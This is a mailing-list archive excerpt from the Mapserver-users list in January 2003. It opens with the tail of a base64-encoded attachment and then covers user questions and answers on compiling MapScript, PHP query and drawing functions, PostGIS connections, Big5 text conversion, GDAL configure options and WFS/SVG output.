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 4f/Z --GPMZ4nE6Kr930AhAy39auOY2m612L60FYG97r-- From Chip.Hankley at GASAI.Com Tue Jan 7 06:34:14 2003 From: Chip.Hankley at GASAI.Com (Hankley, Chip) Date: Tue, 7 Jan 2003 08:34:14 -0600 Subject: [Mapserver-users] Perl Mapscript and Microsoft IIS Message-ID: <3DFF131E4E6D2D4198CDD758F35A535302785287@postoffice.GASAI.Com> I have been under the impression that Perl MapScript would not run under Windows. Chip -----Original Message----- From: Ryan, Adam [mailto:ARyan at co.linn.or.us] Sent: Monday, January 06, 2003 6:34 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Perl Mapscript and Microsoft IIS Hi. I want to try compiling mapserver on a windows box and use perl mapscript. I see the makefile.vc file for MSVC++, but I don't have visual C++. In fact, I have no compiling experience whatsoever. Can I use the makefile.vc file with any of the free C compilers out there? Can I edit it easily to work on another compiler? Can someone steer me along the right track? Thanks, Adam From mike_5102 at yahoo.com.tw Tue Jan 7 06:43:36 2003 From: mike_5102 at yahoo.com.tw (Mikeyahoo) Date: Tue, 7 Jan 2003 22:43:36 +0800 Subject: [Mapserver-users] about php function "querybypoint()" Message-ID: <004d01c2b65b$29936580$3c46fea9@Mike> This is a multi-part message in MIME format. ------=_NextPart_000_004A_01C2B69E.3728BD60 Content-Type: text/plain; charset="big5" Content-Transfer-Encoding: quoted-printable Hello all, I have PHP ver4.0.6 and MapServer version 3.5.I want to search the point = on the map and I use the function "int queryByPoint(pointObj point, int = mode, double buffer)",but there are some problems: the error messages: Warning: MapServer Error in msQueryByPoint(): No matching record(s) = found. this is my file:pon.phtml $cx=3D($rectangle->maxx - $rectangle->minx)/$map->width; $cy=3D($rectangle->maxy- $rectangle->miny)/$map->height; $x1=3D$rectangle->minx + $cx*$x; $y1=3D$rectangle->maxy - $cy*$y; $pon_point =3D ms_newpointObj(); $pon_point->setXY($x1,$y1); $layer->querybypoint($pon_point,MS_SINGLE,-1); echo $pon_point->x; echo "\n"; echo $pon_point->y; The function defined: int queryByPoint(pointObj point, int mode, double buffer) Query all selected layers in map at point location specified in = georeferenced map coordinates (i.e. not pixels).The query is performed = on all the shapes that are part of a CLASS that contains a TEMPLATE = value or that match any class in a layer that contains a LAYER TEMPLATE = value. Mode is MS_SINGLE or MS_MULTIPLE depending on number of results you = want.Passing buffer <=3D0 defaults to tolerances set in the map file(in = pixels) but you can use a constant buffer (specified in ground units) = instead. Returns MS_SUCCESS if shapes were found or MS_FAILURE if nothing was = found or if some other error happened (note that the error message in = case nothing was found can be avoided in PHP using the '@' control = operator). question: What's problems with my program? Can you explan how the function should be used correctly?I don't know = the definition "in pixel"?what does it mean? I'll really apreciate your response! ------=_NextPart_000_004A_01C2B69E.3728BD60 Content-Type: text/html; charset="big5" Content-Transfer-Encoding: quoted-printable
Hello all,
I have PHP ver4.0.6 and = MapServer=20 version 3.5.I want to search the point on the map and I use the function = "int queryByPoint(pointObj point, int mode, double=20 buffer)"
,but there = are some=20 problems:
the error messages:
Warning:=20 MapServer Error in msQueryByPoint(): No matching record(s)=20 found.
 
this is my = file:pon.phtml
 
   $cx=3D($rectangle->maxx -=20 $rectangle->minx)/$map->width;
   = $cy=3D($rectangle->maxy-=20 $rectangle->miny)/$map->height;
   = $x1=3D$rectangle->minx +=20 $cx*$x;
   $y1=3D$rectangle->maxy - = $cy*$y;
  =20 $pon_point =3D ms_newpointObj();
  =20 $pon_point->setXY($x1,$y1);
  =20 $layer->querybypoint($pon_point,MS_SINGLE,-1);
   echo=20 $pon_point->x;
   echo "\n";
   echo=20 $pon_point->y;
 
The function defined:
int queryByPoint(pointObj point, int mode, = double=20 buffer)
Query all selected layers in map at point = location=20 specified in georeferenced map coordinates (i.e. not pixels).The query = is=20 performed on all the shapes that are part of a CLASS that contains a = TEMPLATE=20 value or that match any class in a layer that contains a LAYER TEMPLATE=20 value.
Mode = is=20 MS_SINGLE or MS_MULTIPLE depending on number of results you want.Passing = buffer=20 <=3D0 defaults to tolerances set in the map file(in pixels)
but you can use a constant = buffer=20 (specified in ground units) instead.
Returns MS_SUCCESS if shapes = were found=20 or MS_FAILURE if nothing was found or if some other error happened (note = that=20 the error message in case nothing was found can be avoided in PHP using = the '@' control operator).
 
question:
What's problems with my program?
Can you explan how the function should be used = correctly?I don't know=20 the definition "in pixel"?what does it mean?
 
I'll really apreciate your = response!
 


------=_NextPart_000_004A_01C2B69E.3728BD60-- ----------------------------------------------------------------- < ?C???? Yahoo!?_?? > www.yahoo.com.tw From lfilak at medinaco.org Tue Jan 7 07:10:59 2003 From: lfilak at medinaco.org (Lowell Filak) Date: Tue, 07 Jan 2003 10:10:59 -0500 Subject: [Mapserver-users] Perl Mapscript and Microsoft IIS Message-ID: <200301071508.h07F80R27442@yogi.medinaco.net> I'm not sure that anything says that a persistent individual couldn't get it to work and put a howto in the wiki. Lowell F. The following message was sent by "Hankley, Chip" on Tue, 7 Jan 2003 08:34:14 -0600. > I have been under the impression that Perl MapScript would not run under > Windows. > > Chip > > > -----Original Message----- > From: Ryan, Adam [mailto:ARyan at co.linn.or.us] > Sent: Monday, January 06, 2003 6:34 PM > To: mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] Perl Mapscript and Microsoft IIS > > > > > Hi. I want to try compiling mapserver on a windows box and use perl > mapscript. > I see the makefile.vc file for MSVC++, but I don't have visual C++. In > fact, I have no compiling experience whatsoever. > Can I use the makefile.vc file with any of the free C compilers out there? > Can I edit it easily to work on another compiler? Can someone steer me > along the right track? > Thanks, > Adam > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From guillaume.sueur at khi2.fr Tue Jan 7 07:33:31 2003 From: guillaume.sueur at khi2.fr (Guillaume SUEUR) Date: Tue, 07 Jan 2003 16:33:31 +0100 Subject: [Mapserver-users] about php function "querybypoint()" References: <004d01c2b65b$29936580$3c46fea9@Mike> Message-ID: <3E1AF34B.20802@khi2.fr> just use the @ stuff to avoid the php warning message : @$oLayer->queryByPoint($pon_point,MS_SINGLE,-1); It then should work properly, without warning. --------------------------- Guillaume SUEUR Ing?nieur d?veloppement SIG KHI2 - BVA 25bis Avenue Marcel Dassault 31505 TOULOUSE CEDEX 5 ---------------------------- From jmccue at geovue.com Tue Jan 7 07:41:13 2003 From: jmccue at geovue.com (John McCue) Date: Tue, 7 Jan 2003 10:41:13 -0500 Subject: [Mapserver-users] .NET wrappers for MapServer Message-ID: Happy New Year to all! Is anyone doing any work with .NET wrappers for MapServer? We are heading toward heavy .NET development and would be interested in anyone's thoughts. Thanks! From dlowther at ou.edu Tue Jan 7 08:56:48 2003 From: dlowther at ou.edu (Lowther, David W) Date: Tue, 7 Jan 2003 10:56:48 -0600 Subject: [Mapserver-users] SOLUTION - - RE: [postgis-users] Mapserver / PostGIS Layer Message-ID: Hello All, Thanks to all so much for your help with this. Frank, you won't believe this... I have no idea WHY but here is the solution: I was using IP address of Postgres server in my connection. As soon as I changed from IP to name the problem was resolved. So, host=111.111.111.111 wont work, but host=name.ou.edu works. But 111.111.111.111 works inside the same domain as postgres server. Go figure. Hope this will help someone sometime. Dave -----Original Message----- From: Lowther, David W [mailto:dlowther at ou.edu] Sent: Monday, January 06, 2003 10:07 AM To: Mapserver-Users (E-mail); Postgis-Users (E-mail) Subject: [postgis-users] Mapserver / PostGIS Layer Hi List and Happy New Year! I have been struggling with a situation related to Mapserver and PostGIS layers and I was hoping someone might help me out. I have PostGIS running on Redhat. I have 2 web/mapserver (3.6.3) servers (Intel WinNT4.0 IIS4.0) that access this PostGIS database. One is a test server (located in the same domain as the PostGIS server) and one is a live server (located in a separate domain from the PostGIS server). Using the same connection information in a mapfile the test server can access and map the PostGIS database with no problem - as could the live server when it was in the domain - but the live server fails to connect with an error (msPOSTGISLayerOpen(): Query error. Error parsing POSTGIS connection information.) now that it is outside the domain. I am stressing the domain issue here because I can't think of any other difference in the two servers. - PGAdmin from the live server connects with no problem. - ODBC connectivity from the live server works fine. - The mapfiles on the test and live servers are identical except for necessary directory differences. - Checked password, hostname, connection type, socket connections enabled as instructed in debug version of Mapserver build, but if they work on the test server shouldn't they work on the live? - Added live server to pg_hba.conf although test server does not appear and connects successfully: host all 216.226.17.176 255.255.255.0 trust - Initialize postmaster with -i option to allow tcp/ip connections. - tcpip_socket=true in postgresql.conf. - Tried using port=5432 in the CONNECTION param for mapfile - no difference in behaviour. Heres the layer from the mapfile: ### ROADS ### LAYER GROUP "Selected" NAME "gradyRoads" CONNECTIONTYPE postgis CONNECTION "user=*** password=*** dbname=*** host=***" DATA "the_geom from (select oid,* from roads) as foo" TYPE LINE STATUS OFF PROJECTION #GEOGRAPHIC NAD83 proj=longlat ellps=GRS80 no_defs END TEMPLATE "IDgradyRoads.htm" CLASS# NAME "Grady Roads" SYMBOL "line" SIZE 2 OUTLINECOLOR -1 -1 -1 COLOR 10 200 100 END METADATA legend_order "5" END END Would anyone be willing to try connecting to the PostGIS server using Mapserver if I were to provide ip, db, un, and pwd info? I'm just completely stuck at this point. Thanks so much for everyone's help getting me to this point and thanks in advance for all your help with this issue, David Lowther Software Engineer GEO Information Systems University of Oklahoma dlowther at ou.edu (405) 325-3131 http://www.geo.ou.edu _______________________________________________ postgis-users mailing list postgis-users at postgis.refractions.net http://postgis.refractions.net/mailman/listinfo/postgis-users From mike_5102 at yahoo.com.tw Tue Jan 7 08:56:39 2003 From: mike_5102 at yahoo.com.tw (Mikeyahoo) Date: Wed, 8 Jan 2003 00:56:39 +0800 Subject: [Mapserver-users] about unicode to big5? Message-ID: <001201c2b66d$bfef0b80$3c46fea9@Mike> This is a multi-part message in MIME format. ------=_NextPart_000_000F_01C2B6B0.CD274F40 Content-Type: text/plain; charset="big5" Content-Transfer-Encoding: quoted-printable Hello all, I have PHP ver4.0.6 and MapServer version 3.5. and the dbms is = postgresql7.1.3.I want to show the big5 on my map.My db had already = converted the unicode to the big5,but the map on web still show the = unicode.So I want to use php/mapscript to convert the word.following is = the program that download on web: >6); $str.=3D(0x80 | $c & 0x3F); }ElseIf($c < 0x10000) { $str.=3D(0xE0 | $c>>12); $str.=3D(0x80 | $c>>6 & 0x3F); $str.=3D(0x80 | $c & 0x3F); }ElseIf($c < 0x200000) { $str.=3D(0xF0 | $c>>18); $str.=3D(0x80 | $c>>12 & 0x3F); $str.=3D(0x80 | $c>>6 & 0x3F); $str.=3D(0x80 | $c & 0x3F); } Return $str; } Function Big52Utf8($Big5){ //Modify By MingSen Zhao If(!Trim($Big5)) Return $Big5; $tmp=3DFile("./BIG5.TXT"); Foreach($tmp as $key =3D> $value) $codetable[Hexdec(Substr($value,0,6))]=3DSubstr($value,7,6); While($Big5){ If(Ord(Substr($Big5,0,1))>127){ $utf8=3DU2Utf8(Hexdec($codetable[Hexdec(Bin2hex(Substr($Big5,0,2)))])); For($i=3D0;$i
Hello all,
I have PHP ver4.0.6 and = MapServer version 3.5. and the=20 dbms is postgresql7.1.3.I want to show the = big5 on my=20 map.My db had already converted the unicode to the big5,but=20 the map on web still show the unicode.So I want to use = php/mapscript=20 to convert the word.following is the program that download on=20 web:
<?php
   Function=20 U2Utf8($c){
      If($c < 0x80)=20 {
        =20 $str.=3D$c;
      }ElseIf($c < 0x800)=20 {
         $str.=3D(0xC0 |=20 $c>>6);
         = $str.=3D(0x80 |=20 $c & 0x3F);
      }ElseIf($c < = 0x10000)=20 {
         $str.=3D(0xE0 |=20 $c>>12);
         = $str.=3D(0x80 |=20 $c>>6 & = 0x3F);
        =20 $str.=3D(0x80 | $c & 0x3F);
      = }ElseIf($c <=20 0x200000) {
         = $str.=3D(0xF0 |=20 $c>>18);
         = $str.=3D(0x80 |=20 $c>>12 & = 0x3F);
        =20 $str.=3D(0x80 | $c>>6 &=20 0x3F);
         $str.=3D(0x80 = | $c=20 & 0x3F);
     =20 }
      Return $str;
   = }
 
Function = Big52Utf8($Big5){
  =20 //Modify By MingSen Zhao
 
   If(!Trim($Big5)) Return=20 $Big5;
   $tmp=3DFile("./BIG5.TXT");
   = Foreach($tmp as=20 $key =3D> $value)
     =20 $codetable[Hexdec(Substr($value,0,6))]=3DSubstr($value,7,6);
=
 
  =20 While($Big5){
     =20 If(Ord(Substr($Big5,0,1))>127){
 
$utf8=3DU2Utf8(Hexdec($codetable[Hexdec(Bin2hex(Substr($Big5,0,2= )))]));
        =20 For($i=3D0;$i<Strlen($utf8);$i+=3D3)
     =       =20 $ret.=3DChr(Substr($utf8,$i,3));
      &= nbsp; =20 $Big5=3DSubstr($Big5,2,Strlen($Big5));
      = }Else{
        =20 $ret.=3DSubstr($Big5,0,1);
       &= nbsp;=20 $Big5=3DSubstr($Big5,1,Strlen($Big5));
      = }
   }
   Return $ret;
}
it need a file "big5.txt" that = is a u8tob5=20 table.this program can be running correctly.but the word on map is=20 still unreadable.It seems to transfer uncompletely.And the = tansfer=20 time is slowly.Are there any methods that can work like this = and more=20 efficiency?
 
thanks for your=20 response!
------=_NextPart_000_000F_01C2B6B0.CD274F40-- ----------------------------------------------------------------- < ?C???? Yahoo!?_?? > www.yahoo.com.tw From katarina.kobesova at chello.at Tue Jan 7 11:34:48 2003 From: katarina.kobesova at chello.at (Katarina Kobesova) Date: Tue, 7 Jan 2003 20:34:48 +0100 Subject: [Mapserver-users] how to mark a point (text member of draw()-function) Message-ID: <001901c2b683$d72ff2d0$356a6e50@katti> This is a multi-part message in MIME format. ------=_NextPart_000_0016_01C2B68C.38CB27F0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi ! I have some problems with the drawing of a single point (or two points). = I have a layer without DATA information in the mapfile. mapfile ####### home layer ######### LAYER NAME "home_point" TYPE POINT STATUS OFF CLASS NAME "Ausgangspunkt" SYMBOL "s_home" #in der symbol-datei END END ####### home layer ######### phpfile: /*********** Layer and the Point to draw ***************/ $home_layer =3D $map->getLayerByName("home_point"); $home_layer->set("status", 1); $home1 =3D ms_newPointObj(); $home1->setXY($_SESSION["s_fromx"], $_SESSION["s_fromy"]); if($_SESSION["s_tox"] !=3D 0 && $_SESSION["s_toy"] !=3D 0) { $home2 =3D ms_newPointObj(); $home2->setXY($_SESSION["s_tox"], $_SESSION["s_toy"]); } $image =3D $map->draw(); //my map-object //Home1 und eventuell Home2 dazu zeichnen $home1->draw($map, $home_layer, $image, 0, "blablabla"); if(is_object($home2) && get_class($home2) =3D=3D "point") { $home2->draw($map, $home_layer, $image, 0, "blablabla"); } Problem: only the symbol is drawn, not the text. However, I need the text for = marking of the starting point. Can this explain anybody to me?=20 Many thanks Kati ------=_NextPart_000_0016_01C2B68C.38CB27F0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi !
 
I have some problems with the drawing = of a single=20 point (or two points). I have a layer without DATA information in the=20 mapfile.
 
mapfile
####### home layer=20 #########
LAYER
   NAME "home_point"
   = TYPE=20 POINT
   STATUS OFF
  =20 CLASS
      NAME=20 "Ausgangspunkt"
      SYMBOL = "s_home"  =20 #in der symbol-datei
   END
END
####### home layer=20 #########
phpfile:
 
/*********** Layer and the=20 Point to draw ***************/
$home_layer =3D=20 $map->getLayerByName("home_point");
$home_layer->set("status",=20 1);
$home1 =3D = ms_newPointObj();
$home1->setXY($_SESSION["s_fromx"],=20 $_SESSION["s_fromy"]);
 
if($_SESSION["s_tox"] !=3D 0=20 && $_SESSION["s_toy"] !=3D 0) {
   $home2 =3D=20 ms_newPointObj();
   $home2->setXY($_SESSION["s_tox"],=20 $_SESSION["s_toy"]);
}
$image =3D=20 $map->draw();   //my map-object
//Home1 und eventuell = Home2 dazu=20 zeichnen
$home1->draw($map, $home_layer, $image, 0,=20 "blablabla");
if(is_object($home2) && get_class($home2) = =3D=3D "point")=20 {
   $home2->draw($map, $home_layer, $image, 0,=20 "blablabla");
}
 
Problem:
only the symbol is drawn, not the text. However, = I need the text for marking of the starting point.
Can this = explain=20 anybody to me?
 
Many thanks
Kati
------=_NextPart_000_0016_01C2B68C.38CB27F0-- From morissette at dmsolutions.ca Tue Jan 7 13:43:54 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Tue, 07 Jan 2003 16:43:54 -0500 Subject: [Mapserver-users] mapserver compile problems References: <3E1ACED9.8000105@geosysnet.de> Message-ID: <3E1B4A1A.B1DF2AB2@dmsolutions.ca> Philipp Jacob wrote: > > the configure command: > "CXX=/opt/gcc295/bin/c++ CC=/opt/gcc295/bin/gcc ./configure --with-gd > --with-php=../php-4.2.3/ --with-gdal=../gdal-1.1.7/ > --enable-force-freetype1 --with-proj --with-wmsclient" > ... > but when i do 'make' the make process stops with the following error: > > ---------- > [...some regular make outout above this...] > /opt/gcc295/bin/gcc -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL > -DUSE_PROJ -DUSE_WMS -DUSE_WMS_LYR -DUSE_TIFF -DUSE_JPEG -DUSE_GD_PNG > -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_GDAL > -I/usr/local/include -I/usr/local/include > -I/usr/local/include/w3c-libwww -DHAVE_CONFIG_H shp2img.o -L. -lmap > -lgd -L/usr/local/lib -lgd -ljpeg -lttf -lpng -lz -ltiff -ljpeg -lttf > -lpng -lz -lproj -ljpeg -L/usr/local/lib -lwwwxml -lxmltok > -lxmlparse -lwwwinit -lwwwapp -lwwwhtml -lwwwtelnet -lwwwnews -lwwwhttp > -lwwwmime -lwwwgopher -lwwwftp -lwwwfile -lwwwdir -lwwwcache -lwwwstream > -lwwwmux -lwwwtrans -lwwwcore -lwwwutils -lmd5 -ldl -lm -o shp2img > ./libmap.a(mapraster.o): In function `drawGDAL': > mapraster.o(.text+0x4d4): undefined reference to `GDALGetRasterXSize' > ... You are getting this because configure didn't find the 'gdal-config' script and it failed to include -lgdal.1.1 in the link arguments. You have to pass the full path to the gdal-config file in the --with-gdal parameter, not just the path to GDAL (I know this can become confusing). The configure script should have complained about this but it didn't, so I fixed it in both 3.6.4-dev and 3.7-dev to complain about this mistake. The './configure --help' output also documented the option as '--with-gdal[=DIR]' and I changed it to '--with-gdal[=PATH]' which will hopefully reduce the chances of confusion. Now, you should be able to compile without getting those fixes as long as you pass the right argument to --with-gdal: Did you 'make install' in the GDAL directory? That would be the best thing to do and then you could use '--with-gdal' without any argument assuming that /usr/local/bin/gdal-config is in your path. If you must specify an alternate location for GDAL then you should pass the full path and filename of the gdal-config script, if you didn't 'make install' GDAL, then the path should likely be: --with-gdal=../gdal-1.1.7/apps/gdal-config Daniel -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From jeff at propertykey.com Tue Jan 7 14:11:45 2003 From: jeff at propertykey.com (Jeff Hoffmann) Date: Tue, 07 Jan 2003 16:11:45 -0600 Subject: [Mapserver-users] Mapserver to SVG Demo In-Reply-To: References: Message-ID: <3E1B50A1.1010608@propertykey.com> Geoff Anderson wrote: > I have not worked with WFS yet. I have prototyped an application that > reads GML polygons into Java2D objects, computes the intersection, > writes the result to GML. XSLT transforms the GML to SVG which is > dynamically loaded over Mapserver generated base maps. It would be > great if I could plug WFS into it. My experience so far with the WFS support in Mapserver hasn't been overly positive so far, but I'm just getting into it. I'm learning about WFS (& SVG) along the way so as much as anything, I'm not even sure I'm interpreting how it should work correctly much less if it is working correctly. I can seem to generate a single layer OK, but there are a couple of things I've run into. First, in the WFS spec, it looks like you can have multiple TYPENAMEs (layers) in one request & I can't get it to work. Also, it seems like the bounding box isn't being used correctly (it seems like the whole layer is being retrieved from a PostGIS data source & then filtered from there). > > Purely vector SVG is great, but introduces the obvious challenges > associated with moving large/massive text files of the net. It seems to me that the compressed SVG files end up being pretty reasonable in file size (it looks like 75%-80% compression). Plus, if you use something like PNG, the more detailed the image, the poorer the compression, so unless you have an image that's hopelessly cluttered, a compressed SVG should end up at least a comparable size. I know that the Adobe plugin supports svgz, but I guess that it's just an assumption on my part that they all do. And I haven't even talked about all the cool additional features yet... I'm a bit concerned about using it in public sites, though, because of the poor/non-existant support in Mozilla/Netscape 7 & scripting issues on the Mac. I still have to look into both of those things more, but what I've heard hasn't been promising. 